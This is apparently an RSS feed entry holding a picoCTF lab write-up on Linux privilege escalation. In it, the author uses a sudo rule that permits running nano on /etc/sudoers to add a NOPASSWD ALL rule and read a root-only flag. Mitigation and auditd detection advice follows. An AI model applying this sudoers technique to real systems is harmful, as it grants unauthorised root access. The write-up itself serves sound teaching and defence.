<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Vedant Kulkarni</title>
    <description>The latest articles on DEV Community by Vedant Kulkarni (@vedant_kulkarni_e1a6cdf3c).</description>
    <link>https://dev.to/vedant_kulkarni_e1a6cdf3c</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2271825%2Fac54d352-80f5-4411-860e-4f848cc7cae7.png</url>
      <title>DEV Community: Vedant Kulkarni</title>
      <link>https://dev.to/vedant_kulkarni_e1a6cdf3c</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/vedant_kulkarni_e1a6cdf3c"/>
    <language>en</language>
    <item>
      <title>CTF Lab Writeup: ABSOLUTE NANO</title>
      <dc:creator>Vedant Kulkarni</dc:creator>
      <pubDate>Mon, 15 Jun 2026 09:31:32 +0000</pubDate>
      <link>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-lab-writeup-absolute-nano-3hj8</link>
      <guid>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-lab-writeup-absolute-nano-3hj8</guid>
      <description>&lt;h3&gt;
  
  
  &lt;em&gt;PicoCTF Challenge | Difficulty: Beginner-Intermediate | Category: Privilege Escalation&lt;/em&gt;
&lt;/h3&gt;




&lt;h2&gt;
  
  
  1. Executive Summary
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Challenge Name:&lt;/strong&gt; ABSOLUTE NANO&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; PicoCTF&lt;br&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Linux Privilege Escalation&lt;br&gt;
&lt;strong&gt;Core Vulnerability:&lt;/strong&gt; Sudo Misconfiguration — Unrestricted write access to &lt;code&gt;/etc/sudoers&lt;/code&gt; via &lt;code&gt;nano&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{n4n0_411_7h3_w4y_3dc38f6f}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This challenge teaches one of the most &lt;strong&gt;fundamental and real-world-relevant&lt;/strong&gt; privilege escalation techniques in Linux security: abusing misconfigured &lt;code&gt;sudo&lt;/code&gt; permissions. The attacker is provided with SSH access to a remote Linux machine as a low-privilege user. The flag is stored in a file readable only by &lt;code&gt;root&lt;/code&gt;. However, through careful enumeration of sudo permissions, we discover that &lt;code&gt;nano&lt;/code&gt; can be used as root to edit the system's own security policy file — effectively allowing us to grant ourselves unrestricted administrative access.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Big Picture Takeaway:&lt;/strong&gt; Just because a user is given access to a "simple" tool like a text editor doesn't mean it's safe. If that editor can modify system configuration files, the user effectively &lt;strong&gt;has root&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  2. Reconnaissance &amp;amp; Enumeration
&lt;/h2&gt;
&lt;h3&gt;
  
  
  2.1 Establishing the SSH Connection
&lt;/h3&gt;

&lt;p&gt;The challenge provides us with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Host:&lt;/strong&gt; &lt;code&gt;crystal-peak.picoctf.net&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Port:&lt;/strong&gt; &lt;code&gt;50662&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;User:&lt;/strong&gt; &lt;code&gt;ctf-player&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;e031ef27&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We connect using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-p&lt;/span&gt; 50662 ctf-player@crystal-peak.picoctf.net
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking Down the Command:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ssh&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Secure Shell — encrypted remote login protocol&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-p 50662&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Specifies a &lt;strong&gt;non-standard port&lt;/strong&gt; (default SSH is port 22). The challenge uses a custom port because it runs alongside other CTF instances.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ctf-player@crystal-peak.picoctf.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Username &lt;code&gt;ctf-player&lt;/code&gt; at the given hostname&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;🧠 &lt;strong&gt;Why SSH and not something else?&lt;/strong&gt; The challenge explicitly provides SSH credentials. SSH is the standard, secure method for remote Linux shell access. There is no web interface or other service mentioned, so we go directly to the shell.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  2.2 Initial Directory Enumeration
&lt;/h3&gt;

&lt;p&gt;Once logged in, the &lt;strong&gt;very first thing&lt;/strong&gt; any good penetration tester or CTF player does is understand their immediate environment. We run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking Down the Command:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ls&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Lists directory contents&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Shows &lt;strong&gt;all&lt;/strong&gt; files, including hidden ones (files starting with &lt;code&gt;.&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-l&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Long format&lt;/strong&gt; — shows permissions, owner, group, size, and modification date&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;total 16
drwxr-xr-x 1 ctf-player ctf-player   20 Jun  5 07:48 .
drwxr-xr-x 1 root       root         24 Feb  4 22:26 ..
-rw-r--r-- 1 ctf-player ctf-player  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ctf-player ctf-player 3771 Feb 25  2020 .bashrc
drwx------ 2 ctf-player ctf-player   34 Jun  5 07:48 .cache
-rw-r--r-- 1 ctf-player ctf-player  807 Feb  25 2020 .profile
-r--r----- 1 root       root         35 Feb  4 22:26 flag.txt
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Analyzing the Output — The Critical Line:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;-r--r----- 1 root root 35 Feb 4 22:26 flag.txt
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's decode those permissions character by character:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;- r -- r -- ---
│ │    │    └── Others: NO permissions
│ │    └─────── Group (root): Read only
│ └──────────── Owner (root): Read only
└────────────── Regular file (not a directory)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🚫 &lt;strong&gt;What this means for us:&lt;/strong&gt; Our user &lt;code&gt;ctf-player&lt;/code&gt; is neither &lt;code&gt;root&lt;/code&gt; nor in the &lt;code&gt;root&lt;/code&gt; group. We fall into the "Others" category, which has &lt;strong&gt;zero permissions&lt;/strong&gt;. We cannot &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;less&lt;/code&gt;, &lt;code&gt;more&lt;/code&gt;, or open &lt;code&gt;flag.txt&lt;/code&gt; in any conventional way.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;The Road Not Taken:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;You might be tempted to try &lt;code&gt;cat flag.txt&lt;/code&gt; immediately. Go ahead — it teaches you something. You'll get &lt;code&gt;Permission denied&lt;/code&gt;. This confirms we need to &lt;strong&gt;escalate our privileges&lt;/strong&gt; before we can read the file. Brute-forcing the password, looking for SUID binaries, or checking for cron jobs are all valid escalation vectors, but we haven't enumerated our sudo rights yet — which is always the &lt;strong&gt;fastest and most targeted check&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  2.3 Sudo Privilege Enumeration
&lt;/h3&gt;

&lt;p&gt;The single most important enumeration command on a Linux CTF machine (and in real-world penetration testing) is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking Down the Command:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sudo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;"Superuser Do" — runs commands with elevated privileges&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-l&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;List&lt;/strong&gt; — shows what commands the current user is permitted to run via sudo&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Matching Defaults entries for ctf-player on challenge:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User ctf-player may run the following commands on challenge:
    (ALL) NOPASSWD: /bin/nano /etc/sudoers
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;This output is the KEY to the entire challenge. Let's dissect it completely:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(ALL) NOPASSWD: /bin/nano /etc/sudoers
 │        │         │           └── The specific FILE nano is allowed to open
 │        │         └────────────── The specific BINARY allowed to run
 │        └──────────────────────── No password required to execute this
 └───────────────────────────────── Can run AS any user (including root)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🔑 &lt;strong&gt;Translation:&lt;/strong&gt; The user &lt;code&gt;ctf-player&lt;/code&gt; can run &lt;strong&gt;nano as root&lt;/strong&gt;, without a password, but &lt;strong&gt;only&lt;/strong&gt; to open the file &lt;code&gt;/etc/sudoers&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;What is &lt;code&gt;/etc/sudoers&lt;/code&gt;?&lt;/strong&gt;&lt;br&gt;
The &lt;code&gt;/etc/sudoers&lt;/code&gt; file is the &lt;strong&gt;master security policy document&lt;/strong&gt; for the Linux &lt;code&gt;sudo&lt;/code&gt; system. It defines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Which users can run which commands&lt;/li&gt;
&lt;li&gt;Whether a password is required&lt;/li&gt;
&lt;li&gt;Which users they can impersonate&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;The Critical Insight:&lt;/strong&gt; If you can &lt;strong&gt;edit&lt;/strong&gt; the security policy &lt;strong&gt;as root&lt;/strong&gt;, you can write &lt;strong&gt;any rule you want&lt;/strong&gt; into it — including granting yourself unlimited access. This is like being given a pen and told you can only use it to fill in your name on a legal contract... but then discovering no one is watching what you write.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  3. Initial Foothold &amp;amp; Privilege Escalation
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;📝 &lt;strong&gt;Note:&lt;/strong&gt; In this challenge, the initial foothold (SSH access) and privilege escalation are tightly coupled. The "foothold" is the SSH shell, and the escalation happens immediately after through sudo abuse.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  3.1 Opening the Sudoers File with Nano
&lt;/h3&gt;

&lt;p&gt;We execute our allowed sudo command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /bin/nano /etc/sudoers
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why the full path &lt;code&gt;/bin/nano&lt;/code&gt; and not just &lt;code&gt;nano&lt;/code&gt;?&lt;/strong&gt;&lt;br&gt;
The &lt;code&gt;sudo&lt;/code&gt; rule specifies the &lt;strong&gt;exact binary path&lt;/strong&gt; &lt;code&gt;/bin/nano&lt;/code&gt;. Using just &lt;code&gt;nano&lt;/code&gt; might resolve to a different path depending on the environment and could be rejected by &lt;code&gt;sudo&lt;/code&gt;. Always match the exact path specified in the &lt;code&gt;sudo -l&lt;/code&gt; output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The sudoers file contents we see:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="c"&gt;# This file MUST be edited with the 'visudo' command as root.
#
&lt;/span&gt;&lt;span class="n"&gt;Defaults&lt;/span&gt;        &lt;span class="n"&gt;env_reset&lt;/span&gt;
&lt;span class="n"&gt;Defaults&lt;/span&gt;        &lt;span class="n"&gt;mail_badpass&lt;/span&gt;
&lt;span class="n"&gt;Defaults&lt;/span&gt;        &lt;span class="n"&gt;secure_path&lt;/span&gt;=&lt;span class="s2"&gt;"..."&lt;/span&gt;

&lt;span class="c"&gt;# User privilege specification
&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;    &lt;span class="n"&gt;ALL&lt;/span&gt;=(&lt;span class="n"&gt;ALL&lt;/span&gt;:&lt;span class="n"&gt;ALL&lt;/span&gt;) &lt;span class="n"&gt;ALL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🧠 &lt;strong&gt;Understanding the existing rule format:&lt;/strong&gt;&lt;/p&gt;


&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root  ALL=(ALL:ALL)  ALL
 │     │    │    │    └── Can run ALL commands
 │     │    │    └─────── As any GROUP
 │     │    └──────────── As any USER
 │     └───────────────── On ALL hosts
 └─────────────────────── Applied to user: root
&lt;/code&gt;&lt;/pre&gt;

&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  3.2 Modifying the Sudoers File
&lt;/h3&gt;

&lt;p&gt;Inside the &lt;code&gt;nano&lt;/code&gt; editor, we navigate to the bottom of the file using the &lt;strong&gt;arrow keys&lt;/strong&gt; and add the following line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;ctf&lt;/span&gt;-&lt;span class="n"&gt;player&lt;/span&gt; &lt;span class="n"&gt;ALL&lt;/span&gt;=(&lt;span class="n"&gt;ALL&lt;/span&gt;:&lt;span class="n"&gt;ALL&lt;/span&gt;) &lt;span class="n"&gt;NOPASSWD&lt;/span&gt;: &lt;span class="n"&gt;ALL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;What this line does:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ctf-player&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Apply this rule to our current user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ALL=&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;On all hosts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;(ALL:ALL)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Can impersonate any user and any group&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NOPASSWD:&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No password prompt required&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ALL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Permission to run &lt;strong&gt;every single command&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Saving in Nano:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Ctrl+O&lt;/code&gt; → Write Out (Save). Press &lt;code&gt;Enter&lt;/code&gt; to confirm the filename.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Ctrl+X&lt;/code&gt; → Exit the editor and return to the shell.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;The Road Not Taken — Why Not Use &lt;code&gt;visudo&lt;/code&gt;?&lt;/strong&gt;&lt;br&gt;
The comment at the top of the file warns: &lt;em&gt;"This file MUST be edited with the 'visudo' command as root."&lt;/em&gt; The &lt;code&gt;visudo&lt;/code&gt; command is the &lt;strong&gt;safe&lt;/strong&gt; way to edit sudoers because it validates the syntax before saving, preventing a broken sudoers file that could lock everyone out of sudo. However, &lt;code&gt;visudo&lt;/code&gt; is not what we have permission to run — only &lt;code&gt;nano&lt;/code&gt; is. Nano has no syntax validation, so we must be careful to type our rule exactly correctly. In a CTF context, this is fine. In a real system, a typo here could be catastrophic.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  3.3 Reading the Flag
&lt;/h3&gt;

&lt;p&gt;Now that our user has been granted unrestricted sudo access, we simply run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo cat &lt;/span&gt;flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking Down the Command:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sudo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Execute the following command as root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Concatenate and print file contents to the terminal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;flag.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The target file in the current directory&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;picoCTF{n4n0_411_7h3_w4y_3dc38f6f}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Flag captured! ✅&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🧠 &lt;strong&gt;Decoding the Flag (Fun Leet-Speak Translation):&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;n4n0_411_7h3_w4y&lt;/code&gt; → &lt;code&gt;nano all the way&lt;/code&gt;&lt;br&gt;
A clever nod to the challenge's concept — nano was the key to everything.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Full Exploitation Chain (Visual Summary)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SSH Login (low-privilege shell)
          │
          ▼
    ls -al → flag.txt exists but is ROOT-OWNED
          │
          ▼
    sudo -l → nano allowed on /etc/sudoers as root
          │
          ▼
    sudo /bin/nano /etc/sudoers → Edit security policy
          │
          ▼
    Add: ctf-player ALL=(ALL:ALL) NOPASSWD: ALL
          │
          ▼
    sudo cat flag.txt → FLAG RETRIEVED ✅
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Lessons Learned &amp;amp; Mitigation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 For the Attacker (Offensive Takeaways)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Lesson&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Always run &lt;code&gt;sudo -l&lt;/code&gt; first&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;It is the fastest, quietest privilege escalation check available on Linux&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Text editors are dangerous with elevated privileges&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;nano, vim, vi, emacs — all can read/write arbitrary files and even spawn shells&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GTFOBins is your friend&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The website &lt;a href="https://gtfobins.github.io" rel="noopener noreferrer"&gt;gtfobins.github.io&lt;/a&gt; catalogs exactly how tools like nano can be abused for privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Configuration files = power&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Any tool that can write to &lt;code&gt;/etc/sudoers&lt;/code&gt;, &lt;code&gt;/etc/passwd&lt;/code&gt;, or cron jobs effectively gives root access&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  5.2 For the Defender (Blue Team Mitigations)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability 1: Unrestricted Write Access to &lt;code&gt;/etc/sudoers&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🔴 &lt;strong&gt;The Problem:&lt;/strong&gt; Granting any user the ability to write to &lt;code&gt;/etc/sudoers&lt;/code&gt; — even through a restricted tool — is equivalent to giving them root.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;✅ &lt;strong&gt;Fix:&lt;/strong&gt; Never grant write access to &lt;code&gt;/etc/sudoers&lt;/code&gt; through sudo. If delegation is needed, use &lt;code&gt;/etc/sudoers.d/&lt;/code&gt; with extremely narrowly scoped rules (specific commands, specific arguments, specific paths). Even then, avoid editors.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# BAD — Never do this&lt;/span&gt;
ctf-player &lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /bin/nano /etc/sudoers

&lt;span class="c"&gt;# BETTER — Only allow a specific, non-destructive read-only action&lt;/span&gt;
ctf-player &lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /bin/cat /var/log/app.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;strong&gt;Vulnerability 2: No Detection/Alerting on Sudoers Modification&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🔴 &lt;strong&gt;The Problem:&lt;/strong&gt; Even if this happened on a real system, there was no monitoring to detect the unauthorized change.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;✅ &lt;strong&gt;Fix (Detection):&lt;/strong&gt; Implement file integrity monitoring (FIM) on critical files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Using auditd to monitor /etc/sudoers for any write operations&lt;/span&gt;
auditctl &lt;span class="nt"&gt;-w&lt;/span&gt; /etc/sudoers &lt;span class="nt"&gt;-p&lt;/span&gt; wa &lt;span class="nt"&gt;-k&lt;/span&gt; sudoers_change
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates an audit log entry any time &lt;code&gt;/etc/sudoers&lt;/code&gt; is written (&lt;code&gt;w&lt;/code&gt;) or its attributes change (&lt;code&gt;a&lt;/code&gt;), tagged with the key &lt;code&gt;sudoers_change&lt;/code&gt; for easy log searching.&lt;/p&gt;

&lt;p&gt;✅ &lt;strong&gt;Fix (Hardening):&lt;/strong&gt; Use tools like &lt;strong&gt;AIDE&lt;/strong&gt; or &lt;strong&gt;Tripwire&lt;/strong&gt; for file integrity monitoring, or deploy a &lt;strong&gt;SIEM&lt;/strong&gt; (like Splunk or ELK) to alert on unexpected privilege changes.&lt;/p&gt;




&lt;h3&gt;
  
  
  5.3 Key Conceptual Takeaways for Beginners
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. ENUMERATION IS EVERYTHING
   Never skip sudo -l, id, whoami, find / -perm -4000, 
   and cron job checks when you land on a Linux machine.

2. TOOLS ARE NOT INHERENTLY SAFE
   A text editor with root privileges IS a root shell.
   Always think: "What can this tool WRITE to?"

3. THE PRINCIPLE OF LEAST PRIVILEGE
   Users should only have the exact permissions they need — 
   nothing more. This challenge is a perfect example of 
   what happens when this principle is violated.

4. CHECK GTFOBINS
   For any binary you find in sudo -l or with SUID bits,
   check gtfobins.github.io immediately. It will tell you
   exactly how to exploit it.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Writeup authored using a systematic, iterative CTF methodology. Every command was justified, every output was analyzed, and every decision was evidence-based.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>cybersecurity</category>
      <category>documentation</category>
      <category>linux</category>
    </item>
    <item>
      <title>CTF Writeup: Corrupted File — picoCTF</title>
      <dc:creator>Vedant Kulkarni</dc:creator>
